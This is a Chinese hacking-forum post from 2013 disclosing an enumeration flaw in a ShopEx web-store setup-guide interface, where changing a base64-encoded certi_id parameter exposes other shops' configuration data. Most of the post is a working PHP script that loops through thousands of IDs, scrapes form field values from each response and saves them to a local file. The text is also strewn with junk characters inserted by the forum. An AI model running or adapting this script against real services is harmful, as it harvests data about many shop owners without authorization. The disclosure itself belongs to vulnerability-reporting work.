找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2899|回复: 0
打印 上一主题 下一主题

ShopEx某接口缺陷可遍历所有用户网站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 15:59:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:% M7 l! _9 }4 B$ C4 J
ShopEx某接口缺陷,可遍历所有网站& e9 g+ Q; x7 o6 c; e) a& p# W* h
详细说明:: M) W5 r& L# n) D; \6 Y
问题出现在shopex 网店使用向导页面 , n0 p+ S& M( M( k; {

) Q% @* ~: b( N# }, Q
- B- X! q- [+ Z4 g4 h; N2 m/ P! O- Q( ]
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
  \: g. A6 T2 Q0 H& G# t4 u6 r. l" r! L- J( a, i

# `' V; N" w% L; L1 ^  ]8 L- H3 [' b7 x0 l2 X! ^' y  T
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}. v& r3 a; E, I
6 d- r& v+ X% |: u8 t

: m) A, l7 `4 e# {6 u# U% Q
3 g3 J, u5 B' s& k" _/ D我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
5 W9 Q7 `, T; N: w7 H( N
  T# G  j( t5 V+ @0 t; t6 o; o) h( f2 t; B2 f
0 r  r+ d: M' H9 }1 _
<?php* p* y. W# Q7 S/ z6 K) l+ U

- }2 k( w3 U0 n; g3 w                for ($i=1; $i < 10000; $i++) { //遍历
. u+ H/ R+ F* ^5 J7 a
2 j2 ?. m: N- ~6 ?  h1 O                        ShowshopExD($i);4 ?; Q4 C2 }2 W* f0 B  J, z( V

4 I/ Z9 b; Z1 W, E  y$ |                }3 Z) {) X# I3 C2 }* f) A0 {; m
, T, D& O* b% F
                function ShowshopExD($cid) {" L, c$ T. g* @
: O: O' Z' C& N1 K1 h8 V
                $url='http://guide.ecos.shopex.cn/step2.php';
! t7 k0 ^8 G: C8 w) x4 @
  z7 u* v* u1 ^$ h- q                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');4 k8 Z/ v5 k; F" ?% f! d4 a

! G5 h. [1 `' \3 }% J- a( H        $url = $url.'?refer='.$refer;' B5 I4 Q5 _9 p- A& p

! w1 p; ^/ k0 U9 R        $ch = curl_init($url);5 p# Y# O/ d! N& D) o  R9 i
/ [, G# u8 H4 d& [6 i# Q
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
# Y8 T& ?" [2 I: R# Q+ q$ {3 s/ M$ ?" e8 O2 Y' D' N
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;- `" G6 Y, l( h# K5 C/ Q
% b, C/ Z7 d' P! t) \2 X
        $result = curl_exec($ch);' ^+ c, _2 s( Q3 O# ~$ e

( p' N. f( W# O+ p+ b. n. |% R3 t& D! Z        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
6 T0 V3 T* ~7 G
( y/ X9 ?$ l% s4 I7 s; Q: X5 F        if(strpos($result,$refer))
! C3 [4 S  e+ ~+ C, Q9 g- _' R6 B6 E* d! m7 P/ g
        {
- u  w% |3 l. q! u! \
! x6 \2 E2 w8 d                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
# o# Z. R6 D5 U  J7 o' p- `) s+ y1 M  {9 ]! T
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);) l5 l- T' ]1 X$ [5 l
+ {: y' J6 w1 W$ x7 E
                foreach ($value[1] as $key) {8 G$ c2 w: g9 [4 _! t% m' g
1 O$ o  T" q0 N! \5 w- c
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
) \1 }3 ?; G9 o4 x! t1 [9 A! s- I" q) N3 Q% E5 N/ V
                        echo $res[1][0].':'.$res[3][0]."\r\n";! z& [' {* s$ `+ S

' o6 o; B9 G. J( o8 o8 c                        $col =$res[1][0].':'.$res[3][0]."\r\n";
2 q: f; g' Q, f  M) h: H; z* T# [& @1 A& N* i" u
                        fwrite($fp, $col, strlen($col)); % M; s( W0 F' \8 L. L( J3 I

5 U/ O2 d+ @& Z  v0 E                }5 k( z- F& P+ [& U  n! D. q
* U! s9 {2 D" h4 B9 X
                echo '--------------------------------'."\r\n";
/ b: a$ f& N+ k6 P. ^/ y1 `% {9 D( T2 A  z# Z0 {
                fclose($fp);
. }+ k) k( {( s$ z7 s/ N3 c
2 G& n/ Z! Z* y; P        }
2 |) t( L5 o+ p1 R
9 H* z# g" R, k/ z' S- N        flush();
; j) S. o: r3 T# g: \  {
2 y% H$ G6 u4 {' }! t* H! z        curl_close($ch);! g- x; o7 M! Z- a

7 g8 L1 c$ A5 o6 u                }% Q3 B. O2 \: Q

" t3 E: E$ r# ?' k( B% n?>
  P: B3 v+ F% R4 c& {4 t# {4 M漏洞证明:$ Q) n0 j$ l* `1 h6 L" O* S
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
2 O% ~5 f. V6 u0 R3 W% Yrefer换成其他加密方式
5 X3 S% M) O1 Z( M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表